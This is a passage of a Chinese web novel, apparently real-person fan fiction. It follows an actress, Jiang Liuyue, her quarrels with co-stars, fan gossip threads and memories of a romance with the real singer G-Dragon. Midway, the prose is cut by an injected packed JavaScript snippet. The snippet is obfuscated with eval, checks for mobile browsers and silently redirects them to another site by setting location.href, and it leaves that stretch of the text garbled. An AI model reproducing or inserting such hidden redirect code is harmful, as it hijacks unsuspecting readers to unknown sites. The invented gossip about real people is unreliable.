金优站在那,没有阻止的意思。 她厌烦的吐出一口气,然后用冷冰冰的语气说道:“没有人要你来,卫邛,你可以不来的,现在你 也可以离开的。” 卫邛似乎受了莫大的屈辱:“你什么意思?你赶我走?” 江留月不回应他的质问,反问道:“那又是谁让你来的?” 卫邛顿了一下,下意识的飞快的扫了一眼金优,然后又飞快的说:“我想来就来了,我们好歹一个 公司的,我来给你加个油怎么了?” “是吗,谢谢,现在你可以走了。” 江留月一点都不想跟他纠缠,卫邛之前已经借着公司年会发过疯了,明明之前傲气得很,对她总是 爱答不理的,每次宣传的时候都要她说好话才肯配合,结束之后还要嫌弃她功利心重,把这种演戏用在粉丝头上,却在她划清界限之后硬是要找她要个说法,不是说她没有心就是说她狠毒,爱慕虚 荣。 江留月是不知道他哪来的立场说自己,她对此感到厌烦不已,本来都不想再拍古偶的她,为了能压 制住卫邛,专门挑了别公司的顶梁柱柳知聿拍了新戏,柳知聿就知情知趣的多,懂事又贴心,摄像 机前面卖得飞起,摄像机一关就小心翼翼的把手松开规规矩矩叫江老师,还是她主动示好,对方才 改口叫了她的名字。 江留月让柳知聿叫她姐就好,柳知聿说她看着年纪小,叫姐姐感觉怪怪的,她也就随他去了,结果 倒是让卫邛破大防。 这小子明明就认识没多久开始就没礼貌的直呼其名了,不知道他在发什么疯的江留月索性将这只野 狗下令隔离,后面也几乎不关注他了。 在她不知道的时候,卫邛似乎变得更加不可理喻了,只是冷言冷语了几句,卫邛就气得脸红脖子粗 的:“我走他也得走,凭什么我一个人走?!” 周以端:“……?” 江留月对卫邛真是毫无耐心,白了他一眼,却见卫邛眼圈都红了。 江留月:“……” 不是,他怎么那么情绪化啊……做艺人连情绪管理都不会吗?卫邛的经纪人又在干嘛啊,出道好 几年的人了怎么一点儿长进都没有啊。 大约是她脸上嫌弃的表情太明显了,卫邛的表情变得更难看了,胸口剧烈的起伏着,像是下一秒就 要咆哮出来。 “明月,好歹是一个公司的前后辈,而且你们之前还一起合作过,是有感情的,还是不要闹得那么 难看了吧。” 就在这个时候,金优终于忍不住出来打圆场了: “我订的饭好几个人份,一起吃也够的。” 不是? 哥们? 江留月用一种荒谬的表情看向金优:这是饭够不够吃的问题吗? 她真觉得这两年,金优的表现越来越难评了,他总是铆足劲想要做出点什么,但做出来的成绩最多 也是个及格线。 为什么不能像是之前那样,她说什么,就直接执行什么呢? 江留月不明白,金优本来是个完美的执行者,她用着还算顺手,这两年却像是年久失修了一样,总 是出这样那样的问题。 更让她不理解的是,金优作为一个名义上谈过恋爱的前男友,对周以端的恶意和抵触她还能理解, 他对卫邛的善意和袒护就让她看不懂了。 江留月真的是个很念旧的人,身边的人若有点感情基础,她一向宽宏大量,但此刻,她连带着看金优和卫邛,这俩人都是一样的面目可憎。 “那你们吃吧。” 江留月摆了摆手,转头对周以端说道:“这后面有个咖啡馆,因为演唱会的原因现在不对外开放 了,我们去那边坐一坐吧。” 周以端自然没有拒绝的理由,笑着点点头,江留月又回头对着竖着耳朵听八卦的工作人员说道: “找个人去外面买点好消化的吃的,待会儿送到咖啡厅那边去,没有特别重要的事情就别过来打扰 了,我会在开场前一个半小时回来做妆造的。” 她从头到尾没有再理会金优和卫邛,这两个人的脸色如出一辙的难看,但,江留月并不在乎。 “明月。” 就在她要离开的时候,卫邛忽然开口,用颤抖的声音问道: “你这样对我……那之前我们一起拍摄电视剧,一起跑宣传,你对我说的话和关心,到底算什么?” 江留月看着他,卫邛也看着江留月,他心脏绷的很痛,呼吸也下意识的顿住。 她还是那么漂亮,离开他的这两三年,她越来越漂亮了,都说红气养人,她这两年越走越高,将他 撇的越来越远。 最初也是,他们之间本就云泥之别,她是回归国内之前就在日本京瓷韩国奥林匹克开过个人演唱会 的女SOLO,不管是流量还是人气都在同生代里一骑绝尘,即便跨界演电视剧,也根本轮不上他。 所以,当他知道自己拿到什么角色的时候,简直如同在梦里面一样,他怀着忐忑的心情见到了她, 局促不安的时候,她却主动伸出手将他拉到人群中央,主动找他对台词,主动在采访中cue到他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287352|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎能记住他说的每句话。 在剧本中,她是仰望着他的商户女,为他跪拜三千台阶,为他大雨求药,为他艰难跋涉,为他流泪流血,那双美丽的双眼,总是含着脉脉深情。 剧里剧外,她是陡然降落在他身边,触手可及的湛湛月色。 哪怕自己故意冷淡,故意试探,故意发脾气,她也总是用包容的眼神,无奈的语气,纵容着他。 这不是爱的话,会是什么呢? “算什么?” 江留月微微蹙眉,她为了演唱会新染了一头墨绿色的中短发,越发衬得肤色雪白,整个人看起来如 同一块绿得渗出墨色的祖母绿一般,漂亮的纯黑色眸子在垂下睫毛的时候,有一种近似蛇类的幽 暗。 她的声音很轻又很脆: “算你运气好呗。” 她说完,还笑了一声,然后就转头离开,她不需要任何脚步的停顿,工作人员极有眼力见的为她拉 开门,周以端跟在她差半步的位置亦步亦趋,高大的身影微微弯下,只为听清楚她说的每个字。 卫邛一直看着她,不知道自己在期盼什么。 但他只看到江留月的身影很快消失在转角,她一次都不曾停下脚步,也不曾回头。 卫邛有些脱力的靠着墙站着,他一直没有说话,工作人员们也都大气不敢出的赶紧偷偷跑掉,只留 下他自己在那,生怕自己待会会被怒火波及。 他被江留月舍弃了。 在这一刻,他才真切的意识到了这个事实,才有了原来自己真的被遗弃了的实感。 当然,卫邛的情绪波动如何,并不在江留月的考虑范围内,就算是心烦,她更烦金优的各种神神叨 叨。 “所以……你们真的谈过吗?” 当周以端这样问的时候,江留月还没反应过来,只是用探询的眼神看着他。 周以端又问了一次,这次加上了主语。 “啊,你说卫邛。”江留月摆了摆手:“没有的事儿。” “卫邛说你们谈过,相爱过。”周以端说道:“呃……至少他跟公司里是这样说的。” “他有病吧。”江留月脱口而出,然后有些厌烦的捋了一把头发:“西八……这些人是分不清什么 是工作什么是生活吗?” “西八……?” 周以端没听懂这两个字。 江留月尬住,周以端家风严谨,她向来在他面前装得知书达理,这时候也不好真告诉他这是什么意 思,于是她摸了摸鼻子,打开桌子上工作人员刚送来的三明治递给了周以端开始转移话题:“不重 要不重要,吃点这个对付一口吧,师兄,演唱会结束都要大半夜了。” 周以端见她不愿意继续说,也不再深究,于是也帮忙打开桌子上的打包好的食物,并推荐江留月也 吃一些。 也许是心虚,也许是确实也和这位周师兄没什么共同话题,江留月也吃了一些好消化的东西,却并 不知道这个咖啡厅的玻璃幕墙正对着体育馆旁边的酒店,她和周以端一起吃东西的场景只是在短短 几分钟之内就窜上了热搜。 ‘靠,果然是谈了!!!!’ ‘这就是正宫的威严吗?!哈哈哈哈哈卫邛怎么不吱声了,出来走两步啊?!’ ‘好甜啊救命呜呜呜呜~~’ ‘塔伊吃了啥?她不是演唱会之前吃东西剧烈运动之后会胃痛吗?怎么感觉喝的还是冰饮料啊,我 去……能不能照顾一下自己的身体啊妹妹!!!’ ‘好好好,刚看到世界名画就看到了大结局,这个姐夫我可以!’ ‘塔伊吃饭好乖啊宝宝,好努力的在吃饭,怎么办我看她吃饭都觉得她好可爱呜呜~’ ‘这都能被抓拍到……果然粉丝才是真正的FBI’ ‘我草他们真的谈了……?我草江明月什么命啊……能不能谈个正常男人啊……’ ‘啊塔伊回国之后不是说找中医调养了?应该还好吧……而且演唱会那么久很消耗体力的,吃点东 西不是会更舒服吗?’ ‘楼上你没记错,她第一次开演唱会就吃了东西结果安可的时候胃痛到趴在栏杆上差点起不来,然 后bb当时是安可嘉宾各种打圆场,她被搞下去吃止痛药,bb在台上硬尬聊天,简直是演唱会聊天尴尬天花板……五分钟过的比我的命还长……’ ‘我也记得,她后面演唱会对粉丝逆应援我记得都是功能饮料和糖果,我还因此种草了好几个韩国 功能饮料的牌子,可能现在身体好点了吧……希望演唱会顺顺利利。’ ‘啊,她solo演唱会逆应援我怎么记得辣个男人后面给疯帽子们补了吃的,还有手写便利贴?’ ‘那是人气歌谣逆应援,500张便利贴纯手写,那才是纯爱天花板好吗?’ ‘唏嘘……竟然还有人记得疯帽子这个粉丝名……现在大家都自称月兔了,唉,时代的眼泪啊。’ ‘两个人单独后台吃饭,这不是谈了我倒立喝洗脚水。’ ‘大可不必’ ‘卫邛呢?他不是也进去了吗?!’ ‘呵呵,只要没有官宣我们是不会承认的,官宣了也不会结婚,结婚了也会离婚,不离婚也会出 轨,而我一边谴责她出轨一边对着新出的饭大吃特吃!!!’ ‘明月!!!!!!!!明月你怎么能这样对我!!!!你让哥哥怎么活啊明月!!!!!!!’ ‘啊啊这么糊的图都挡不住我姐的盛世美颜……这个氛围感难道不是偶像剧吗?能dream一个电视 剧合作吗?真情侣就是好吃我吃吃吃!’ ‘楼上那个已经疯了。’ ‘广场上一搜,一半是男粉在破防,一半是女粉在破防,江明月这神奇的吸引力……’ ‘也有祝福的好吧,我们小月亮真的太苦了,有个人照顾她挺好的,至少不要让她一个人孤零零 的。’ ‘楼上别咯噔了,我姐好得很,周以端是同公司师兄来应援很正常,我姐谈恋爱我祝福,但没官宣 就不要直接冲上来了。’ ‘上周的热搜那么快就忘了?宣言都快开完了,不是首场不是收官的,周以端来干什么,不就是来 宣誓主权的?’ ‘这如果都叫交往,那我们龙月早就三胎了。’ ‘笑死,你们龙月三胎,那我们TA拍电影打啵了算什么,算三生三世是吧。’ ‘我!!不同意!!这门亲事!!!!宝宝妈妈不允许!!!!!!你还是个小宝宝你谈什么恋 爱!!!有那个时间你多给我出专辑拍电视,电视剧里想谈几个谈几个,现实中臭男人们退退退!!不要挨着我香喷喷的妹宝!’ ‘唉你们真觉得周以端是个好人吗……我其实对他一直有种说不出的不喜欢,总觉得这个人好装好 端着……’ ‘卫邛到底干嘛去了,为什么没有他的照片’ ‘楼上的别找你哥了,可能你哥在桌子上餐巾纸盒子里呆着呢。’ ‘我好害怕,各位,你们谁能翻墙,去看一眼INS……’ ‘我Giao热搜爆了’ ‘我艹……权龙真疯了?’ 2022年4月5日,内娱热搜连续爆了三个,分别为‘周以端卫邛世界名画’‘江明月恋情曝光’‘权 志龙头像’。 就在网上热议江留月恋情曝光,就连其他国家的热搜也跟着出现类似词条的时候,权志龙的社媒头 像、背景毫无征兆的变成了纯黑色。 当天晚上,‘GA恋情’‘Alice GD’‘东亚意难忘’‘Alice 科普’‘Alice 恋情’等词条先点爆 内娱,然后影响力逐步扩大,登上韩国、日本和东南亚各国热搜,随即开始抢占世趋。 也就是从这一天开始,江留月和权志龙之间被强行切断的联系,在他们见到彼此之前,借由无数个 见证过他们岁月的人敲打出的字符编织成了一条绳索,把他们两个人的命运,再次捆绑了起来。 68.错位时空(下) 68.错位时空 (下) “你和周哥的事情,是不是也可以公开了?” 公司月会上,当公关部负责人用半开玩笑的口吻说出这句话的时候,本来还窃窃私语的会议室里忽 然就安静了下来。 众人将目光齐刷刷的看向了江留月。 她刚结束了巡演就被薅来公司开会,纯粹的素颜被一顶渔夫帽给覆盖,她闻言抬起头,只露出鼻尖 和紧紧抿着的嘴唇以及尖尖的下巴。 此时距离杭州场已经过去了两个月,北京进入了闷热的初夏,等待着一场雷暴席卷走沉闷的空气。 江留月没有说话,而是身体微微摇晃着,不知道在想什么。 所有人都保持着安静,自2019年后,江留月和公司博弈了许多轮次,她时有胜负,但掌握着公司将 近八成的利润收入,她依然攥着自己的绝对话语权。 “现在舆论这边有点太乱了,如果公开恋情的话也算是能隔绝一些猜测和不好的说法,日韩那边的 论坛舆情也不是太好。” 江留月还是沉默着,她没有打理的头发从渔夫帽下乱七八糟的翘出来,让人更加难以揣测她的想法 和心情。 她微微摇晃的身体,让所有人的情绪也跟着摇晃起来。 “社媒这边可以下场。” 好一会儿之后,江留月说道:“但是,官方这边不需要给立场,也不需要给公告声明,就这样维持 着热度也挺好的。” 她顿了一下。 “我没有很讨厌……现在的情况。” 她说完这句话,大家忐忑的眼神乱飘,一会儿看向金优,一会儿看向公关部负责人,一会儿看向会议桌斜上方坐着的大老板龚池。 “没别的事情的话,我就要走了。” 江留月顿了顿,等待了两三秒之后,直接起身,椅子和地板摩擦发出巨大的声音,会议室里尴尬而 凝固的氛围被打碎,她转身离开,贴身的几个工作人员也都鞠躬告别之后,跟随她离去。 龚池在她走后发了很大的脾气,脾气烂到有公司的人在网络上偷偷吐槽,并在担心江留月在2024年 年底合约到期之后不会再续约,当然这个帖子很快就消失了,取而代之的是公司的人披着皮在各大 社媒冒泡偷偷实锤周以端和江留月在谈恋爱的事情。 然而,周以端和江留月谈不谈,真的无人在意。 不管是中国还是韩国,大家的都在津津有味的盘点YG旧年的那些爱恨情仇,那时候网络不发达再加 上舆论对于艺人较为宽容,许多东西细品就能品出许多不一样的味道,既然当事人一个结束巡演之后进入休息期开始神隐,一个退伍之后除了卖鞋看秀就一直在神隐,那就休怪神通广大的网友们挖 坟了。 一个是霸占内娱顶流位置数年的女顶流,一个是成为时代和国家icon代表的祖师爷,这两个人的路 人盘之大,关注度之高,爱恨纠缠之复杂,成为了中日韩网友三国狂欢的保守节目,再去细挖当年二代们的爱恨情仇,更是能拉扯进来大半个韩娱+内娱的中流砥柱们,至于周以端卫邛这种说出名 字无人知晓还需要看科普之流,甚至都难以跻身其中。 大家聊得热火朝天,当事人之一也没闲着,最近甚至还主动PO出一大堆旧年合影,其中许多照片就 连江留月的老粉都没见过———谁能见过当代女顶流顶着乱七八糟的头发穿着脏兮兮的外套拎着巨 大的外卖不锈钢箱子的狼狈样子呢? 粉丝们一边喊着心疼一边火速保存,CP粉们一边喊着磕到了一边保存,营销号们连夜根据立场看图 说话,就连圈子里的艺人们都忍不住开始追更,好奇的短信甚至偷偷摸摸的发到了吉如心的手机, 气得吉如心拉黑了好几个人。 吉如心不是什么能受气的性格,她当然不可能去责怪江留月,于是披着小号开始在网上参与骂战, 时不时还要用自己后援站管理员的身份封禁一些挑事儿的帖子。 不过骂归骂,气归气,吉如心有时候也能找到一些乐子,这种帖子就适合她收藏起来慢慢看,尤其是适合她憋一肚子之后慢慢看。 比如她的收藏夹里就有一个帖子常看常新,叫做‘理涛,GD是不是在搞什么亡妻回忆录’,吉如心 看到这个帖子的时候曾经大喊晦气,点进去看了几行字,就忍不住嘴角翘得高高的,立刻收藏点赞 一条龙服务了。 ‘最近被江明月还有GD以前的事情刷屏了,于是我就去ins上看了GD最近发的帖子,怎么看都觉得 那种‘亡妻回忆录’的味儿都要溢出来了,像是那种没了老婆之后整天靠老婆的遗物过活,生怕别 人忘了老婆也忘了老婆跟他谈过一样,时不时要出来刷一下存在感,江明月的绯闻出来他要让全世 界的人都知道他不高兴,我以前看GD的舞台觉得他是个那种特别冷酷拽的花花公子,根本没有真心 的那种,结果太颠覆了,我都有点受不了了’ ‘什么亡妻,真晦气,我们妹宝活得好好的!’ ‘他老婆不是死了,只是跑了,怎么能叫亡妻回忆录,只能叫前妻回忆录’ ‘他老婆虽然活着,但是Alice死了啊,名字都不能提不是死人是什么,叫亡妻也没毛病’ ‘说实话权龙最近出席那个活动的时候一身素白头上还戴了一朵小白花,我发誓我尊重韩国风俗, 但确实那种既视感强烈……他的表情也是,垮着脸一副小寡妇样’ ‘牢笼的男鬼味儿一直很浓,这比老阴暗了,Alice去人气歌谣当MC的时候每次bb和他去打歌他就 站在Alice的正后方,看着老吓人了……旁边的男MC们笑得比哭还难看’ ‘有没有日韩的朋友们来说一说,是只有我们国家的平台上那么热闹在讨论这个,还是大家一起都 在吃瓜?’ ‘我怎么记得权志龙去年年末才传了绯闻,韩国国内没人骂他吗?’ ‘权~志~龙~你~老~婆~不~要~你~啦~’ ‘我要写一副‘所爱隔山海,山海不可平’的书法发到INS上艾特权志龙,我感觉他一定会给我点 赞’ ---楼中楼:艹,老子被毕业了,这比心眼真小啊 ‘游过来啊,真爱她你就游过来啊~’ ‘你们真的能嗑吗?谈好几年都不给名分,这也叫正经恋爱吗?代入一下江明月视角,十七八岁就 被大前辈盯上,谈几年都不给名分也不公开,整天偷偷摸摸谈恋爱还要挨骂,好不容易分手了还要 被捆绑在一起简直恐怖片好吧?别打着纯爱的旗号搞这种迫害了!’ ‘看我ip,韩国这边大家对权志龙传绯闻见怪不怪了,甚至最近都不好奇女方是谁了,只有Alice出现的时候才会大面积讨论,因为韩国人本质爱Alice爱得不行……韩国人真的很奇怪,Alice在的 时候天天挑刺,她走了又开始呼天抢地的,一边说她是叛徒一边还要网络投票都断层第一……就这 还嘴硬是中输投票……其实并没有,她就是真的到现在都没有代餐可吃,甚至不活动六年了个站还 有两位数没关,所以大家暗戳戳还挺希望他们和好的,至少和好了Alice就光明正大回来了……’ 【贴图:(韩国论坛截图,标题为:无法斩断的缘分,GD在INS上更新Alice少年期照片引发热议 网民一:kkkkk这家伙完全忘不掉她啊,简直是比花蛇(靠美貌和感情勒索迷惑男人的拜金女)还 要吓人 网民二:拜托T T请幸福吧 网民三:哇从来没见过的照片……是天然美女吗,就算这样也能看出来是个美人胚子 网民四:想要去Alice曾经打工的餐厅吃饭,求地址 网民五:就算遭遇那样的背叛和抛弃(注:大部分韩国网民以为江留月是在权志龙兵役期间变心离 开的,韩国男人对于兵役中女友分手这件事情包容度很低),也能看出来相爱的痕迹,竟然保留了 那么久之前的照片…… 网民六:GD和Alice真正分手的决心还没有眼屎大kk 网民七:Alice,请回来吧,我愿意为了Alice暗杀掉杨贤硕社长…… 网民八:所以为什么要嘴硬,女孩子的心那么软,男方只要承认错误好好的道歉一定能挽回吧,西 八,GD就算掉水里面,也只有嘴巴会硬着浮在水面上,交往了六七年却不承认女友身份这像话吗? 网民九:所以他们是杨贤硕社长强行拆开的吗? 网民十:从少年时代就在一起,那么珍贵的缘分现在越变成了这样,真是令人伤心啊,如果可以和 好的话请和好吧,你们和好的话,大韩民国的生育率也会提升的…… 网民十一:如果对象是Alice的话,我用两条腿也会走到北京的,怎么还会发INS 网民十二:花花公子的话没有一句是真的,都是演的,不要上当了,Alice,韩国就是个烂掉的国 家,韩国男人也没有一个好东西,在中国发着大财过好日子吧。 网民十三:晕……我离婚了三次了,这两个人竟然还在纠缠。 网民十四:kkkkkkk谈过了真正的好女人所以普通的女人不行,男人就是这样现实 网民十五:过了那么悲惨的少年时期,好不容易当了艺人出道,真的爱她的话就应该让她开心的生 活,明知道自己那么多的粉丝也要谈恋爱,本身就是把女孩子往地狱里推,真的爱她的话就让她自 由的离开吧,想也知道和你这样的家伙谈恋爱不知道流了多少眼泪,为什么要把那么灿烂的笑容又 想夺走,她现在事业那么出色,你又想把开得好好的花挪到水土不服的地方,15年的时候bigbang 的事业红火的时候,她却病了又病,也挨了很多骂,那时候为什么不发这些东西出来维护她呢,失 去了才知道真心是人的劣根性,那就请你做个好人吧。 网民十六:拜托了请你们幸福的在一起吧,这个世界上哪里还有你们一样适合对方的人呢。 网民十七:疯掉的男人和绝情的女人,这个国家就是这样才完蛋了。 网民十八:还以为GD会是成熟的男人,结果幼稚的很可爱,可怜巴巴的发着照片‘想想我们一起度 过的日子回头看看我吧’简直像是被抛弃的小狗叼着烂拖鞋蹲在门口摇尾巴??? 网民十九:出个新专辑……你如果事业成功的话,再来追求成功的可能性比较大,毕竟她现在也是 个成功的女人了。 网民二十:我会现在就打工存贺礼的,所以请结婚吧。】 ‘有一说一,我真觉得权龙会来暗戳戳关注妹的动态,不然他怎么能在妹每次发绯闻的时候做出精 准反击。’ ‘这算什么反击,他凭什么反击,连吃醋都没理由的男人’ ‘他活该——权志龙,如果你看到这条留言,你活该————你看到了吗——你活该——你活该老 婆跑了——她的每一任新男友都比你高————你看到了吗——’ ‘艹,想到牢笼用翻译器主动看评论挨骂我就想笑’ ‘日本那边论坛就挺偏心的,他们好偏心GD’ ‘也不是吧,我看很多人在推荐日本男艺人嘞,趁乱推销,希望妹能嫁到日本去’ ‘我记得11年左右Alice和***一起传过绯闻,两个人合作综艺所以好多CP粉啊,都有CP站了,权志 龙上蹿下跳的各种探班,连带着***一个组合的成员和他一起上综艺,他凉凉的眼神看到人家无辜 队友浑身冷汗’ ‘权志龙真心是个阴暗批……我不粉江明月都觉得美女被他盯上真有点惨。’ ‘不允许!!!!我绝不允许!!!!!韩国人入赘是我最后的倔强!!妹绝对不可以嫁去日 本!!阿妈不允许!!!!!’ ‘没有权志龙护着,江明月能那么全须全尾的从韩娱离开啊,你们去看一下她上的综艺和合作的对象……因为她被权志龙护着,那些爱耍嘴皮的中年大叔对她从来不敢擦一点边,二代里的女SOLO她 地位最高难道是因为她的SOLO能打吗?还不是因为她背后那几尊大佛吗?你们觉得她命苦,知道多 少女艺人求都求不来吗?’ ‘讲真,还是韩国网友会抓盲点,只要杨菊花死了,YG就安全了,我们的CP就有救了!!’ ‘金优和龚池死了,KTS怎么就不安全呢?’ ‘有道理。’ ‘话说真没人在意周以端真成了姐夫吗?’ ‘谁在乎,我姐成年人了,想怎么谈怎么谈,我唯一的意见只有姐别老盯着年纪大的,看看年纪小 的,年纪小的好处试了就知道了!’ ‘周也不是什么好东西,指路id*****,我觉得可信度很高,如果是真的,那明月就是进了吃绝户 的坑了。’ 这条评论吸引到了吉如心的注意力,她本身也确实不太喜欢周以端,这人看着倒是挺有礼貌的,但 对她一直都有一种居高临下的轻蔑和嘲弄感。 吉如心身为一个因为是LES所以被赶出家门自生自灭的昔日底层人员,对周围人的态度极为敏感, 她能察觉到周以端每次貌似客气的招呼下,隐藏着对她行为和穿着打扮的批判,只是碍于他确实对 江留月很好,她才咽下了这口气。 吉如心点开链接的时候,本意只是想看个热闹,结果这帖子看的她越看越严肃,几乎是连滚带爬的 直接开车跑去了江留月家里。 她觉得事情已经严重到必须面谈的地步了,焦躁的心情让她都忘记提前打招呼了。 可不管她怎么按门铃,都没人开门,她瞥了一眼车库,江留月的车都在家里。 吉如心只好给江留月打电话,打了好几个,江留月都没接,最后一个是被江留月挂掉的,她发了信 息问吉如心怎么了。 看了那个帖子之后的吉如心本就是惊弓之鸟,她真害怕江留月这时候是不是出什么意外,坚持要给 对方弹视频,结果弹过去就被挂断,终于给吉如心惹毛了。 “你要是不跟我确定你安不安全,我就闯进去了我跟你说!!” 吉如心的威胁总算起了效果,江留月在十五分钟开了门,吉如心更愕然了:“你在家?!你在家你 挂我那么多电话!?” 她似乎嗅到了什么,然后定睛一看江留月,只觉得人都要炸开了:“你、你、你……你……周以端 在?” 江留月眼神还有些涣散恍惚,她愣了一下才反问道:“什么?” “你让周以端来你家里了?” 吉如心看着她还带着潮红的脸颊,呼吸还不平稳微微起伏的胸口和遮住脖子的高领睡衣睡裤,只觉 得头皮发麻。 “……怎么可能,我的家只准进女生,你忘记了?” 江留月比她还要莫名,情绪也有些许浮动:“你怎么忽然来了?” 吉如心不回答,吉如心简直心乱如麻,因为怎么看,江留月的嘴唇还有些微微红肿,耳垂也是,一 边都红的发紫了,怎么看都是被人亲成这样的。 “……不是他的话是谁?你出轨了?” 吉如心捂着胸口,只觉得冲击过度。 “你在说什么……我跟谁出轨?”江留月更是莫名,直到顺着她的目光看向玻璃上自己的反光样 子,才露出一副天塌了的表情,好一会儿,她支支吾吾:“不、不是的……呃……我……我不 是……我、我是……我是自己……自己……嗯……” “那、那什么……我、我只是……想……想释放压力……就……就……这……这……正常需 求……” 短短一句话,江留月已经头顶冒烟了,她窘迫得眼睛里都蒙上了一层水雾,低着头不敢看吉如心的 眼睛。 吉如心半信半疑,但江留月为了证明自己的清白,主动让她进了门,吉如心当真走进去看了,可除 了卧室里凌乱的大床,她确实没看到任何人。 而且江留月就算是出轨,也没必要这样向她证明,吉如心最后瞥了一眼绝对不可能遮住一个人的被 子,狐疑的眼神落在江留月通红的脸颊和脖子上。 她清了清喉咙,在江留月明显紧张的表情里开了口:“……给个链接呗,看着挺好用的。” 江留月:“……滚呐!!!!” 为了能更好的谈话,江留月去冲了个澡,在她洗澡更衣的空隙里,吉如心又认真的看了一圈这个 家,确信这个家里确实除了她和江留月,再无第三个人的存在,才如释重负的松了口气。 得亏江留月这个澡洗得久,吉如心才有时间用平板将自己知道的事情都列出来:此时那个帖子已经 是404了,还好吉如心有截图的好习惯。 江留月端着茶水过来,她浑身都粉扑扑的,而且身上有一种萦绕不去的暧昧气息,吉如心越发疑 惑,她左右看了看这栋空空的房子,真怀疑这里头是不是有个密室,江留月在里面藏了人。 “你要找我说什么事情?” 江留月赶紧岔开了话题,待到吉如心将平板递给她,她看了一眼,才松了口气,然后略有些不好意 思的看着吉如心:“……抱歉啊,我不是故意瞒着你的。” 她与周以端的交易只有两个人知道,周以端这个身份谈了个同性恋人简直是惊天爆雷,因此她为周 以端恪守秘密,从未和其他人讲过。 现在看来,这也未必是完全的秘密,想也知道,周以端说他和恋人年少相识,两个人十来年的交际 圈里怎么可能没有知情人? 想来是因为她最近和周以端的绯闻传的有鼻子有眼,知情人憋不住想爆料罢了。 听完江留月的交代,吉如心又是松口气又隐约不安:“但,这样下去也不是办法,你也太吃亏了 吧。” “也不算吧。” 江留月轻笑了一下,她的视线若有似无的透过吉如心的肩膀,看向不远处落地窗前的吧台桌旁坐着 的男人。 顺着她的目光,吉如心也回头看了一眼,但她只看到落地窗前的龟背竹在轻轻地摇晃枝叶。 “……明月,你在看什么?” 吉如心总觉得江留月不是在看那盆龟背竹,她很少见到江留月这样的眼神,温柔而恬静,整个人身 上散发着柔和的光辉。 江留月笑了一下,说:“秘密。” 江留月有一个秘密。 谁也不知道的,只有她知道的秘密。 就连她的盟友周以端也不知道的秘密。 那是一次高塔坠亡之后,神明的恩赐抑或是诅咒。 因为高压的行程和身体的不适,她从这栋别墅的楼梯上滚了下去,比起疼痛感,失重带来的眩晕想 让她下意识的想要抓住什么,却只是让自己的手指在铁艺栏杆上受尽了委屈。 她重重的摔在了地上,怎么都爬不起来,浑身都痛,像是被摔成了无数块。 她试图重新支配自己的身体,但,手指感觉不到手指,腿脚也失去了知觉,在那个瞬间,江留月几 乎以为自己要死在这个无人知晓的冰冷夜晚。 为什么啊。 凭什么啊。 江留月大口大口的喘着气,无数次试图重新找回身体的支配权,但怎么都不行,她只是下楼拿个东 西,衣衫单薄,也没有手机,这是富人区的独栋别墅,厚实的墙体隔绝了隐私也隔绝了呼救的可 能。 好害怕。 好痛。 江留月哽咽着发出声音,她说:“好痛,好痛,妈妈,我好痛。” 人真是奇怪,她明明和乔娜也没什么特别深的感情,但是在这种生死攸关的时刻,她依然下意识的 喊着妈妈。 她喊出来声音之后,委屈就怎么都止不住了,她一边哭一边叫妈妈,好一会儿,她意识到,妈妈不 会来救她。 眼泪在眼眶里蓄积,然后顺着眼角流下,江留月的心理防线彻底崩塌,她意识到这可能是自己生命 的尽头,所有的倔强和逞强都变成了可笑的没有意义的无谓挣扎,她的眼前晃过无数画面,这也许 就是人生的走马灯。 她看到自己五六岁的时候在筒子楼的楼梯间里捕捉光影里的灰尘,看到金色的阳光透过大榕树的缝 隙洒下来,看到江家传统中式院子里的斗拱,院中亭子里抬头看到的华丽的藻井,她看到父亲冷漠 不苟言笑的脸庞,他在书房练习毛笔字时她在旁边磨墨时被墨水染黑的手指。 然后,她看到了权志龙。 一开始是一张拿着万元钞票的手,然后是被汗水打湿T恤的后背,琥珀色的漂亮瞳孔,鼻尖上极为 不明显的小痣,总是伸过来揉她的头发和耳垂的修长的手,不耐烦的在纸上涂抹的铅笔,录音室隔 着厚厚玻璃的身影,宽阔的肩膀,梳理她头发的手指,上下滑动的喉结,被汗水浸透的鬓角,稀奇 古怪的颜色,绚烂得无法直视的聚光灯,一只手拿着话筒一只手牵着她的手,为她擦去眼泪的手的 虎口上可爱的笑脸,将头埋在她肚子上时露出的后脖颈上展开翅膀的路西法,总是沉甸甸压在她身 上的手臂上行走的红色的心。 ‘我的心为你跳动,塔伊’ ‘我爱你,塔伊。’ ‘你的艺名叫Alice如何?’ ‘塔伊,到哥这里来。’ ‘你这孩子为什么那么多眼泪呢,塔伊。’ 这些碎片破碎又混成一团,江留月的手指下意识的蜷缩,她几乎觉得自己看到了权志龙的脸,走马 灯原来是那么飞速的的东西吗? 为什么不能让她再仔细看看,这些记忆里的身影就那样模糊又清晰的飞速掠过。 十七岁时总是皱着眉臭着脸的权志龙,十八岁时笑起来会露出虎牙的权志龙,十九岁时总是因为繁 忙的行程而满头汗水的权志龙,二十岁时意气风发举起手里奖杯整个人都闪闪发光的权志龙,二十 一岁时在初夏雨后的山坡抓住她手腕的权志龙,二十二岁时坐在长廊下百无聊赖等待她疯玩回来的 权志龙,二十三岁时亲吻她指尖轻声说塔伊啊我爱你的权志龙,二十四岁时偷偷在摄像机后面对她 挤眼睛笑的权志龙,二十五岁时趴在她病床边睡着的权志龙,二十六岁时穿着睡衣睡裤在厨房给她 煎蛋煮玉米的权志龙,二十七岁时在保姆车里躲着给她过生日被蜡烛照亮眉眼的权志龙,二十八岁 时总是用红红的眼睛看着她的权志龙,二十九岁时瘦的像是一片纸,总是看着她流泪的权志龙。 三十岁,在东永裴婚礼上,穿着西装一杯接着一杯喝酒的权志龙。 三十一岁,在北京的酒店,被她气得浑身发抖流着泪说恨她的权志龙。 然后,三十二岁,三十三岁,三十四岁,三十五岁,看不见也摸不到,只是静静 